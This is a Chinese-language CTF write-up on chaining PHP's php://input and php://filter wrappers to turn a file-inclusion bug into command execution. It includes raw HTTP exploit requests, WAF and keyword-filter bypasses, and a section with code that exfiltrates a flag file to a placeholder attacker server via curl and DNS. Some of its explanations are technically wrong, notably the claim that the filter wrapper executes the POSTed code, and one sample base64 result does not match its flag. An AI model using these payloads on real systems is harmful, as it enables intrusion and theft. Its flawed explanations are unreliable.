PHP伪协议实战:利用php://input与php://filter实现文件包含与RCE
2026/7/13 5:35:05 网站建设 项目流程

1. 项目概述与核心思路

最近在CTFHub上刷题,遇到一个典型的PHP文件包含结合RCE的挑战,题目本身不复杂,但正好把php://inputphp://filter这两个经典的PHP伪协议给串起来了。很多刚接触Web安全的朋友对伪协议的理解可能停留在“知道有这么个东西”,但具体怎么用、为什么这么用、在实战中如何组合拳出击,可能还比较模糊。这个挑战就是一个绝佳的实战案例,它要求你不仅要用php://input执行命令,还要用php://filter去读取执行结果(也就是flag)。今天我就结合这个具体的CTF题目,把这两个协议从原理到实战掰开揉碎了讲清楚,让你下次遇到类似场景能直接“秒杀”。

简单来说,这个挑战的核心是:目标网站有一个文件包含漏洞,并且allow_url_include配置是开启的。我们的任务就是利用php://input伪协议,将POST请求体中的数据作为PHP代码执行,从而运行系统命令(如cat /flag)来获取flag。但题目通常不会直接把命令执行的结果回显在页面上,这时候就需要第二个协议php://filter出场,它可以将目标文件(比如包含我们执行命令后生成结果的文件,或者直接包含php://input本身经过某种处理后的流)的内容进行编码转换(如Base64),从而绕过一些显示限制或直接读取到原始输出。整个攻击链清晰展示了如何将两个看似独立的协议组合起来,完成从代码注入到信息读取的完整利用。

2. PHP伪协议核心原理深度解析

在动手之前,我们必须搞清楚手里的“武器”到底是什么。PHP伪协议(PHP Wrappers)是PHP提供的一种访问各种输入/输出流(如文件、网络、数据压缩等)的通用方法,格式为scheme://...。在安全测试中,它们常被用于利用文件包含、文件读取等漏洞,实现本地文件包含(LFI)、远程文件包含(RFI)甚至代码执行。

2.1 php://input 的本质与工作条件

php://input是一个只读流,用于访问请求的原始数据。简单来说,在POST请求中,它获取的就是HTTP POST的请求体(Body)原始数据。

它的核心工作机制是这样的:当PHP脚本通过include()require()file_get_contents()等函数尝试去读取php://input时,PHP解释器并不会把它当作一个普通的文件路径去磁盘上寻找,而是会转向当前HTTP请求的输入流。如果此时流中有数据(比如我们POST了一段PHP代码过去),PHP就会把这些数据当作包含的文件内容来解析执行。

这里有一个至关重要的前提:allow_url_include配置必须为On这个PHP配置项决定了是否允许includerequire等文件包含函数去加载URL(如http://ftp://)或流(如php://)作为文件。默认情况下,这个选项在php.ini中是Off的,因为开启它会显著增加安全风险。但在一些CTF题目或老旧、配置不当的系统中,可能会被开启,这就为我们利用php://input执行代码打开了大门。

实操心得:遇到疑似文件包含的点,第一步就是尝试读取/etc/passwdphp://filter/resource=/etc/passwd来确认漏洞存在。第二步就是查看phpinfo()信息,确认allow_url_includeallow_url_fopen的状态。很多题目会直接给出phpinfo.php的链接,这就是在明示攻击方向。

2.2 php://filter 的妙用与编码转换

如果说php://input是一把用于注入代码的“枪”,那么php://filter就是一个功能强大的“处理器”或“转换器”。它允许你在读取文件内容时,对数据进行过滤(编码或解码)。

其基本语法是:php://filter/read=<过滤器列表>/resource=<要读取的文件>或者简写为:php://filter/<过滤器列表>/resource=<要读取的文件>

常用的过滤器包括:

  • convert.base64-encode:将文件内容进行Base64编码后输出。
  • convert.base64-decode:将Base64编码的内容解码(但通常用于写入过滤)。
  • string.rot13:对内容进行ROT13编码。
  • string.toupper/string.tolower:转换大小写。
  • zlib.deflate/zlib.inflate:进行压缩/解压缩。

在CTF和安全测试中,php://filter主要有两大用途:

  1. 读取敏感文件:当直接包含或读取文件(如/etc/passwd,./config.php)时,如果文件内容被直接输出到页面,可能会因为包含PHP代码而被执行,导致我们看不到源代码。这时,用convert.base64-encode过滤器将文件内容Base64编码后再输出,我们拿到Base64字符串解码即可获得原始内容。这是读取应用程序源码的经典手法。
  2. 配合文件包含实现信息获取:在本挑战中,它被用于处理php://input执行命令后的输出。因为直接包含php://input执行命令,结果可能被嵌入到HTML中不显示,或者被其他函数处理。通过filter对包含php://input的“结果流”进行Base64编码,可能可以让我们捕获到命令执行的原始输出。

理解这两个协议是独立但又可串联的“模块”至关重要。php://input负责提供“可执行的输入流”,php://filter负责对“某个资源(可能是文件,也可能是input流本身)”进行加工处理以便读取。

3. CTFHub RCE挑战实战拆解

现在我们回到具体的题目环境。根据网络上的Writeup信息,题目通常会给出一段简单的源代码,核心漏洞点非常清晰。

3.1 漏洞代码分析与环境判断

假设题目给出的源码如下(这是此类题目的典型结构):

<?php error_reporting(0); $file = $_GET['file']; if(isset($file)){ include($file); } else { highlight_file(__FILE__); } ?>

这段代码逻辑极其简单:从GET参数file中获取值,然后直接放入include()函数。这就是一个赤裸裸的文件包含漏洞。

解题第一步:信息收集

  1. 确认包含漏洞:访问/?file=/etc/passwd,如果页面显示了系统用户列表,则LFI漏洞存在。
  2. 检查PHP配置:题目下方往往会给一个phpinfo.php的链接,比如http://target/phpinfo.php。访问它,搜索allow_url_includeallow_url_fopen,确认其值为On。这是使用php://input的前提。
  3. 尝试直接包含php://input:如果配置开启,我们就可以规划攻击了。

3.2 利用php://input执行系统命令

攻击的核心是,我们通过include()函数去包含php://input这个“流”,同时我们在POST请求体中发送我们想要执行的PHP代码。PHP解释器会读取这个流的内容(即我们的POST数据),并将其当作PHP代码来执行。

构造Payload的详细步骤:

请求结构:

POST /?file=php://input HTTP/1.1 Host: challenge-xxx.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 Accept: text/html Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: <计算出的长度> <?php system('cat /flag'); ?>

关键点拆解:

  1. 请求方法:必须使用POST方法。因为php://input读取的是POST Body。
  2. 参数传递:文件包含的参数file通过GET方式传递,值为php://input
  3. 请求体(Body):这就是我们要执行的PHP代码。通常是一个简单的命令执行函数,如<?php system('cat /flag'); ?><?php echo shell_exec('ls -la /'); ?>。注意,代码必须用PHP标签包裹。
  4. Content-Length头:这个头必须正确设置,且其值必须等于你POST Body的实际字节长度(包括空格和换行符)。计算错误会导致服务器无法正确读取全部Body内容。例如,<?php system('cat /flag'); ?>这个字符串的长度是32字节(可以用echo -n '<?php system("cat /flag"); ?>' | wc -c命令计算)。
  5. Connection头:设置为close可以确保请求完成后立即断开,避免长连接干扰,在测试中更稳定。

使用工具演示(以Burp Suite为例):

  1. 拦截对目标网站的任意请求。
  2. 将其改为POST请求,并在GET参数中添加?file=php://input
  3. 在请求最下方,添加POST Body,输入<?php system("cat /flag"); ?>
  4. 修改Content-Length头为正确的值(例如32)。
  5. 发送请求。

预期结果与问题:如果一切顺利,服务器会执行cat /flag命令,并将命令的输出(即flag内容)返回。但是,在这个具体的CTF题目中,直接这样做可能会遇到一个问题:命令执行的输出并没有直接显示在我们看到的网页上。这可能是因为输出被包含到了页面的某个不起眼的位置,或者被缓冲、转换了。这就是我们需要php://filter的原因。

注意事项:在实际操作中,命令执行函数的选择很重要。system()会直接输出结果;shell_exec()将输出作为字符串返回,需要配合echo才能看到;exec()只返回最后一行,且需要第二个参数来获取全部输出数组。如果system被禁用,可以尝试passthru()popen(),甚至反引号`ls`

3.3 组合php://filter读取执行结果

当直接包含php://input执行命令看不到回显时,我们就需要想办法“捕获”这个输出。一个巧妙的思路是:让php://input执行的代码,将其输出结果写入到一个临时文件,或者直接对包含php://input这个操作本身进行编码输出。

但更常见的解法(也是本题的预期解)是,直接对php://input这个资源应用php://filter进行读取。听起来有点绕,我们来看Payload:

GET /?file=php://filter/read=convert.base64-encode/resource=php://input HTTP/1.1 Host: challenge-xxx.sandbox.ctfhub.com:10080 Content-Type: application/x-www-form-urlencoded Content-Length: 32 <?php system('cat /flag'); ?>

这里发生了两次“包含”吗?不是的。正确的理解是:

  1. include()函数尝试加载file参数的值:php://filter/read=convert.base64-encode/resource=php://input
  2. 这个值告诉PHP:我要读取resource指定的资源(即php://input),但在读取之前,先用convert.base64-encode过滤器处理一下。
  3. PHP开始处理resource=php://input。由于这是一个php://input流,并且当前请求是一个POST请求(注意,虽然我们用了GET请求传参,但整个请求是POST方法),PHP会去读取请求体(Body)的内容:<?php system('cat /flag'); ?>
  4. 关键的一步来了:PHP会执行这段从php://input读取到的代码。system('cat /flag')被执行,命令输出(假设flag是ctfhub{test_flag})被生成。
  5. 这个命令执行的输出(ctfhub{test_flag}),会作为php://input这个“资源”的“内容”。
  6. 然后,convert.base64-encode过滤器开始工作,将这个“内容”(即ctfhub{test_flag})进行Base64编码。
  7. 最后,编码后的结果(Y3RmaHViY3Rlc3RfZmxhZwo=)被include()函数包含,并最终输出到HTTP响应中。

所以,我们会在网页上看到一串Base64编码的字符串。将其解码,就能得到flag。

为什么这样能行?因为include()在包含一个文件(或流)时,会先读取其内容。如果内容是PHP代码,就执行;如果不是(比如纯文本),就直接输出。当我们用filterphp://input进行编码时,filter机制会先获取resource(即php://input)的“内容”。而获取php://input内容的过程,触发了其中PHP代码的执行,并将执行结果(纯文本)作为了“内容”。随后对这个文本内容进行Base64编码,最终输出的是编码后的文本,而非可执行的PHP上下文,因此代码执行的结果被“固化”并编码输出了。

4. 高级利用技巧与绕过思路

掌握了基础用法,我们来看看一些更深入的技巧和可能遇到的障碍及绕过方法。

4.1 过滤器链(Filter Chains)的复杂应用

php://filter支持多个过滤器串联,形成过滤器链,格式为php://filter/read=<filter1>|<filter2>/resource=<file>。这可以用于构造一些特殊的攻击载荷。

例如,如果目标对包含的文件后缀有检查(比如要求包含.php文件),我们可以尝试:php://filter/read=convert.base64-encode/resource=index.php这样可以直接读取网站的PHP源码(Base64编码后),从中寻找数据库配置、其他漏洞点等。

更复杂的,可以利用string.rot13过滤器。因为<?php经过ROT13编码后会变成<?cuc,这不再是有效的PHP开放标签,因此可以绕过某些基于内容匹配的<?php标签检查,然后再结合include函数对ROT13编码内容的自动解码执行特性(前提是php.iniallow_url_include为On且设置了auto_prepend_file等特定条件,此利用条件较苛刻,但CTF中可能出现)。

4.2 常见WAF或限制绕过

  1. 关键词过滤(如过滤system,cat,flag

    • 字符串拼接sy.stem(‘cat /fl’ . ‘ag’)。
    • 编码绕过:使用Base64编码命令。<?php system(base64_decode('Y2F0IC9mbGFn')); ?>,其中Y2F0IC9mbGFncat /flag的Base64编码。
    • 使用其他命令或函数:如果cat被过滤,尝试tacmorelessheadtailnl,或者直接使用/bin/cat。读取文件也可以用file_get_contents(‘/flag’)highlight_file(‘/flag’)readfile(‘/flag’)
    • 通配符cat /fla*cat /fl?g
    • 内联执行echo $(cat /flag)或 `cat /flag`。
  2. 协议名过滤(如过滤php://

    • 大小写混淆PHP://inputPhp://Input(PHP协议处理对大小写不敏感)。
    • 多重编码:如果只是简单的字符串匹配,可以尝试URL编码:php:%2F%2Finput。但注意,include函数最终接收到的参数是解码后的,所以服务端需要能正确解码。
    • 使用其他协议:如果allow_url_include为On,且服务器能访问外部网络,可尝试远程文件包含(RFI)http://your-server/shell.txt。但CTF环境通常无外网。
  3. 请求方法限制:如果服务器端代码强制检查请求方法,例如要求必须是POST才能包含php://input,那么我们的攻击请求就必须是POST

4.3 无回显场景下的信息外带(Out-of-Band)

在真正的渗透测试中,命令执行可能完全没有回显(盲注)。这时就需要利用DNS或HTTP请求将数据带出来。

利用php://input执行无回显命令:

<?php // 通过DNS解析记录外带数据 system('curl http://your-server/`cat /flag | base64`.your-domain.com'); // 或通过HTTP请求外带 $flag = file_get_contents('/flag'); $ch = curl_init('http://your-server/'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'flag=' . urlencode($flag)); curl_exec($ch); ?>

这需要你拥有一台可控的公网服务器来接收数据。

5. 实战演练与问题排查实录

光说不练假把式。下面我模拟一个完整的、可能遇到问题的实战过程,并给出排查思路。

场景:你按照标准Payload发送了请求,但返回的是空白页面、错误页面,或者是一串乱码,而不是预期的Base64字符串。

排查步骤:

  1. 确认漏洞点与配置:再次访问phpinfo.php,双重确认allow_url_include=On。同时检查disable_functions列表,看systemshell_execexecpassthru等函数是否被禁用。如果关键函数被禁用,需要更换执行方法,比如用scandir()列目录,用file_get_contents()读文件。

  2. 检查请求格式

    • 请求方法:确保是POST请求。在Burp Suite的Repeater模块中,右键可以更改请求方法。
    • Content-Length:这是最常见的坑。务必精确计算Body长度。一个快速的方法是,在Burp的Payload输入框下方,它会实时显示字符数(注意,换行符CRLF通常是2个字节\r\n,而Burp里按Enter默认是\n,1个字节)。最好使用Copy to file然后查看文件属性中的字节大小。
    • PHP标签闭合:确保Body以<?php ... ?>包裹,并且没有多余的空白字符(如开头意外的空格或换行)。有时甚至需要尝试不加结束标签?>,因为PHP代码段在文件末尾可以省略闭合标签。
  3. 尝试简化Payload

    • 先执行一个简单的命令确认RCE是否生效:<?php echo 'test'; ?>。如果页面输出test,说明php://input执行成功。
    • 再执行一个无害的系统命令:<?php system('whoami'); ?>。观察是否有回显。
    • 如果直接执行无回显,立刻加上filter进行Base64编码读取:?file=php://filter/read=convert.base64-encode/resource=php://input,POST Body为<?php system('whoami'); ?>。查看返回的Base64字符串,解码后是否是www-data或类似权限用户。
  4. 检查路径与权限cat /flag是最常见的flag位置,但也可能在/flag.txt/home/ctf/flag./flag../flag,甚至藏在环境变量里。如果cat失败,可以先尝试列目录:

    <?php system('ls -la /'); ?> <?php print_r(scandir('/')); ?>

    使用filter编码输出查看结果。

  5. 处理特殊字符与编码:如果flag内容包含特殊字符,直接输出可能会被HTML实体编码或破坏格式。Base64编码输出是最稳妥的方式。如果服务器返回的是乱码,检查响应头的Content-Type,可能是gzip压缩了。在Burp中,可以右键选择“Do intercept” -> “Response to this request”,然后删除Accept-Encoding: gzip, deflate请求头再重发。

  6. 利用错误信息:开启PHP错误显示有时能提供线索。可以在Payload开头加上error_reporting(E_ALL); ini_set('display_errors', 1);。但注意,这可能会因为安全配置而无效。

一个典型的成功攻击流程记录:

  1. 访问目标,发现?file=参数。
  2. 测试?file=../../../../etc/passwd,成功读取,确认LFI。
  3. 访问/phpinfo.php,确认allow_url_include = Ondisable_functions列表为空或未禁用关键函数。
  4. 在Burp中构造请求:
    • POST /?file=php://filter/read=convert.base64-encode/resource=php://input
    • Body:<?php system("ls /"); ?>
  5. 发送请求,获得一段Base64响应:YmluCmJvb3QKZGV2CmV0YwpmbGFnC...
  6. 解码后得到目录列表,发现flag文件。
  7. 修改Body为:<?php system("cat /flag"); ?>,重新发送请求。
  8. 获得新的Base64响应,解码后得到flag:ctfhub{this_is_a_sample_flag}

这个过程清晰地展示了从漏洞发现、环境侦察、到武器组合利用、最终获取目标的完整链条。理解每个环节的原理,就能在遇到变种题目时灵活应对。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询